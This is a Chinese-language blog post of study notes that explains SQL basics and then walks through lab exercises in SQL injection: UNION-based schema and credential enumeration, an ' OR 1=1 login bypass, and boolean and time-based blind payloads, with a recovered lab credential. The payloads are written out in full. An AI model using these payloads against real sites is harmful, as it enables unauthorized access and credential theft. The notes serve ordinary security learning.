Featured image of post SQL注入-1

SQL注入-1

SQL注入-1

SQL注入

SQL 语法不区分大小写。

SQL基础

SELECT

我们将学习的第一种查询类型是用于从数据库中检索数据的 SELECT 查询。

select * from users;

第一个单词 SELECT 告诉数据库我们想要检索一些数据;* 告诉数据库我们想从表中接收所有列。例如,该表可能包含三列(id、username 和 password)。“from users” 告诉数据库我们想要从名为 users 的表中检索数据。最后,末尾的分号告诉数据库这是查询的结束。

下一个查询与上述查询类似,但这次,我们不是使用 * 返回数据库表中的所有列,而是只请求 username 和 password 字段。

select username,password from users;

与第一个查询一样,以下查询使用 * 选择器返回所有列,然后 “LIMIT 1” 子句强制数据库仅返回一行数据。将查询更改为 “LIMIT 1,1” 会强制查询跳过第一个结果,然后 “LIMIT 2,1” 会跳过前两个结果,依此类推。您需要记住,第一个数字告诉数据库您希望跳过多少个结果,第二个数字告诉数据库要返回多少行。

select * from users LIMIT 1;

select * from users where username='admin';

这只会返回 username 等于 admin 的行。

select * from users where username != 'admin';

这只会返回 username 等于 admin 的行。

select * from users where username='admin' or username='jon';

这只会返回用户名等于 admin 或 jon 的行。

select * from users where username='admin' and password='p4ssword';

这只会返回用户名等于 admin 且密码等于 p4ssword 的行.

like

使用 like 子句允许您指定不完全匹配,而是以特定字符开头、包含或结尾的数据,方法是选择放置由百分号表示的通配符的位置。

select * from users where username like '%n';

这将返回用户名以字母 n 结尾的任何行。

select * from users where username like '%mi%';

这将返回用户名中包含字符 mi 的任何行。

UNION

UNION 语句将两个或多个 SELECT 语句的结果组合在一起,以从单个或多个表中检索数据;此查询的规则是 UNION 语句必须在每个 SELECT 语句中检索相同数量的列,列必须具有相似的数据类型,并且列顺序必须相同。这听起来可能不是很清楚,所以让我们使用下面的类比。假设一家公司想要为所有客户和供应商创建一个地址列表,以便发布新目录。我们有一个名为 customers 的表,其中包含以下内容:

另一个表叫 suppliers,内容如下:

使用以下 SQL 语句,我们可以从两个表中收集结果并将它们放入一个结果集中:

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

INSERT

INSERT 语句告诉数据库我们希望在表中插入一行新数据。 “into users” 告诉数据库我们希望将数据插入到哪个表中, “(username,password)” 提供我们提供数据的列,然后 “values (‘bob’,‘password’)”; 提供以前指定的列的数据。

insert into users (username,password) values ('bob','password123');

UPDATE

UPDATE 语句告诉数据库我们希望更新表中的一行或多行数据。您使用 “update %tablename% SET” 指定要更新的表,然后选择要更新的一个或多个字段,以逗号分隔的列表,例如 “username=‘root’,password=‘pass123’”,最后,类似于 SELECT 语句,您可以使用 where 子句准确指定要更新的行,例如 “where username=‘admin;

update users SET username='root',password='pass123' where username='admin';

DELETE

DELETE 语句告诉数据库我们希望删除一行或多行数据。除了缺少要返回的列之外,此查询的格式与 SELECT 非常相似。您可以使用 where 子句精确指定要删除的数据,并使用 LIMIT 子句指定要删除的行 数。

delete from users where username='martin';

delete from users;

由于查询中未使用 WHERE 子句,因此所有数据都已从表中删除。

基础做题

In-Band SQL Injection

查询库

利用union查询的原理,先确定回显的位置。

构建 0 UNION SELECT 1,2,3

可以看到页面情况,有三个回显位置

构建 0 UNION SELECT 1,2,database()

可以知道database的名字:sqli_one

查询表

构建 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

在此查询中,需要学习一些新内容。首先,方法 group_concat() 从多个返回的行中获取指定的列(在我们的例子中为 table_name),并将其放入一个以逗号分隔的字符串中。接下来是 information_schema 数据库;数据库的每个用户都可以访问它,它包含有关该用户有权访问的所有数据库和表的信息。在这个特定的查询中,我们有兴趣列出 sqli_one 数据库中的所有 表,即 article 和 staff_users。

由于第一级旨在发现 Martin 的密码,因此 staff_users 表是我们感兴趣的。我们可以再次利用 information_schema 数据库,通过以下查询找到此表的结构。

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

这与前面的 SQL 查询类似。但是,我们要检索的信息已从 table_name 更改为 column_name,我们在 information_schema 数据库中查询的表已从 tables 更改为 columns,并且我们正在搜索 table_name 列值为 staff_users 的任何行

查询结果为 staff_users 表提供三列:id、password 和 username。我们可以使用以下查询的 username 和 password 列来检索用户的信息。

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

同样,我们使用 group_concat 方法将所有行返回到一个字符串中,使其 更易于阅读。我们还添加了 ,’:’, 以将用户名和密码彼此分开。我们没有用逗号分隔,而是选择了 HTML <br> 标签,该标签强制每个结果位于单独的行上,以便于阅读。

身份认证绕过盲注

与带内 SQL 注入不同,我们可以直接在屏幕上看到攻击的结果,而盲 SQLi 是指我们几乎没有收到反馈来确认我们注入的查询是否真的成功,这是因为错误消息已被禁用,但无论如何注入仍然有效。您可能会感到惊讶,我们只需要一点点反馈即可成功枚举整个数据库。

最直接的盲 SQL 注入技术之一是绕过身份验证方法,例如登录表单。在这种情况下,我们对从数据库中检索数据并不那么感兴趣;我们只想通过登录。

连接到用户数据库的登录表单的开发方式通常使 Web 应用程序对用户名和密码的内容不感兴趣,而更关心两者是否在 users 表中形成匹配的对。简单来说,Web 应用程序会询问数据库,“您有用户名为 bob 的用户,密码为 bob123 吗? 数据库回答 Yes 或 No (true/false),并且根据该答案,指示 Web 应用程序是否允许您继续。

考虑到上述信息,没有必要枚举有效的用户名/密码对。我们只需要创建一个以 yes/true 回复的数据库查询。

实际:

SQL 注入示例的第二级显示了这个确切的示例。我们可以在标有 “SQL Query” 的框中看到,对数据库的查询如下:

select * from users where username='%username%' and password='%password%' LIMIT 1;

注意:%username% 和 %password% 值取自登录表单字段。SQL Query (SQL 查询) 框中的初始值将为空,因为这些字段当前为空。

要将其转换为始终返回 true 的查询,我们可以在 password 字段中输入以下内容:

' OR 1=1;--

这会将 SQL 查询转换为以下内容:

select * from users where username='' and password='' OR 1=1;

因为 1=1 是 true 语句,并且我们使用了 OR 运算符,所以这将始终导致查询返回 true,这满足 Web 应用程序逻辑,即数据库找到了有效的用户名/密码组合,并且应该允许访问。

基于布尔盲注

基于布尔值的 SQL 注入是指我们从注入尝试中收到的响应,可以是 true/false、yes/no、on/off、1/0 或任何只能有两个结果的响应。该结果确认了我们的 SQL Injection payload 成功或失败。在第一次检查时,您可能会觉得这种有限的回答无法提供太多信息。不过,仅通过这两个响应,就可以枚举整个数据库结构和内容。

实际:

览器正文包含 {“taken”:true}。此 API 端点复制了许多订阅表单上的常见功能,该功能检查用户名是否已注册,以提示用户选择不同的用户名。 由于 taken 的值设置为 true,因此我们可以假设用户名 admin 已注册。我们可以通过将模拟浏览器地址栏中的用户名从 admin 更改为 admin123 来确认这一点,按下 Enter 键后,你会看到所采用的值 现在已更改为 false

select * from users where username = '%username%' LIMIT 1;

我们唯一可以控制的输入是查询字符串中的用户名,我们必须使用它来执行 SQL 注入。将用户名保持为 admin123,我们可以开始附加到此内容以尝试使数据库确认 true 内容,将 taken 字段的状态从 false 更改为 true。

与前面的级别一样,我们的第一个任务是建立 users’ 表中的列数,这可以通过使用 UNION 语句来实现。将 username 值更改为以下内容:

admin123' UNION SELECT 1;--

由于 Web 应用程序已使用取为 false 的值 进行响应,因此我们可以确认这是不正确的列值。 继续添加更多列,直到我们得到 true 的 taken 值 。您可以通过将 username 设置为以下值来确认答案为三列:

admin123' UNION SELECT 1,2,3;--

在我们已经确定了列数,我们可以进行数据库的枚举。我们的第一个任务是发现数据库名称。我们可以通过使用内置的 database() 方法,然后使用 like 运算符来尝试查找将返回 true 状态的结果。

尝试以下 username 值,看看会发生什么:

admin123' UNION SELECT 1,2,3 where database() like '%';--

我们得到一个 true 响应,因为在 like 运算符中,我们只有 % 的值 ,它将匹配任何内容,因为它是通配符值。如果我们将通配符运算符更改为 **a%,**您将看到响应返回 false,这确认数据库名称不以字母 a 开头。我们可以循环遍历所有字母、数字和字符,例如 - 和 _,直到找到匹配项。如果您将以下内容作为 username 值发送,您将收到一个 true 响应,确认数据库名称以字母 s 开头

admin123' UNION SELECT 1,2,3 where database() like 's%';--

现在,您继续 数据库名称的下一个字符,直到找到另一个真实的响应,例如,‘sa%’、‘sb%’、‘sc%’ 等。继续此过程,直到发现数据库名称的所有字符,即 sqli_three

我们已经建立了数据库名称,现在我们可以通过使用 information_schema 数据库使用类似的方法使用它来枚举表名。尝试将 username 设置为以下值:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--

此查询在 tables 表中的 information_schema 数据库中 查找数据库名称与 sqli_three 匹配 且表名称以字母 a 开头的结果。 由于上述查询导致 false 响应,我们可以确认 sqli_three 数据库中没有以字母 a 开头的表。和以前一样,您需要在字母、数字和字符之间循环,直到找到正匹配项。

您最终会在 sqli_three 数据库中发现一个名为 users 的表,您可以通过运行以下 username payload 来确认该表:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

最后,我们现在需要枚举 users 表中的列名 ,以便我们可以正确地搜索登录凭据。 同样,我们可以使用 information_schema 数据库和我们已经获得的信息来查询它的列名。使用下面的有效负载,我们搜索 columns 表,其中 database 等于 sqli_three,表名称为 users,列名称以字母 a 开头。

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

同样, 您需要在字母、数字和字符之间循环,直到找到匹配项。由于您要查找多个结果,因此每次找到新的列名称时,都必须将其添加到有效负载中,以避免发现相同的结果。例如,找到名为 id 的列后,将其附加到原始有效负载中(如下所示)。

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';

重复此过程 3 次,您将发现列的 ID、用户名和密码。现在,您可以使用它来查询 users 表以获取登录凭据。首先,您需要找到一个有效的用户名,您可以使用下面的有效负载:

admin123' UNION SELECT 1,2,3 from users where username like 'a%

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

基于时间的盲注

基于时间的盲目 SQL 注入与上述基于 布尔值的盲注非常相似,因为发送的请求相同,但这次没有明显的查询是错还是对的指示。相反,正确查询的指标基于查询完成所需的时间。此时间延迟是使用内置方法(如 SLEEP(x) 和 UNION 语句引入的。SLEEP() 方法只会在成功的 UNION SELECT 语句后执行。

实际:

因此,例如,在尝试建立表中的列数时,您将使用以下查询:

admin123' UNION SELECT SLEEP(5);--

如果响应时间没有暂停,则我们知道查询不成功,因此与之前的任务一样,我们添加另一列:

admin123' UNION SELECT SLEEP(5),2;--

有效负载应产生 5 秒的延迟,确认 UNION 语句成功执行,并且有两列。

按照布尔盲注的步骤,只是更改一下前面的语句,要改成sleep()形式

最后得到admin:4961

使用 Hugo 构建
主题 StackJimmy 设计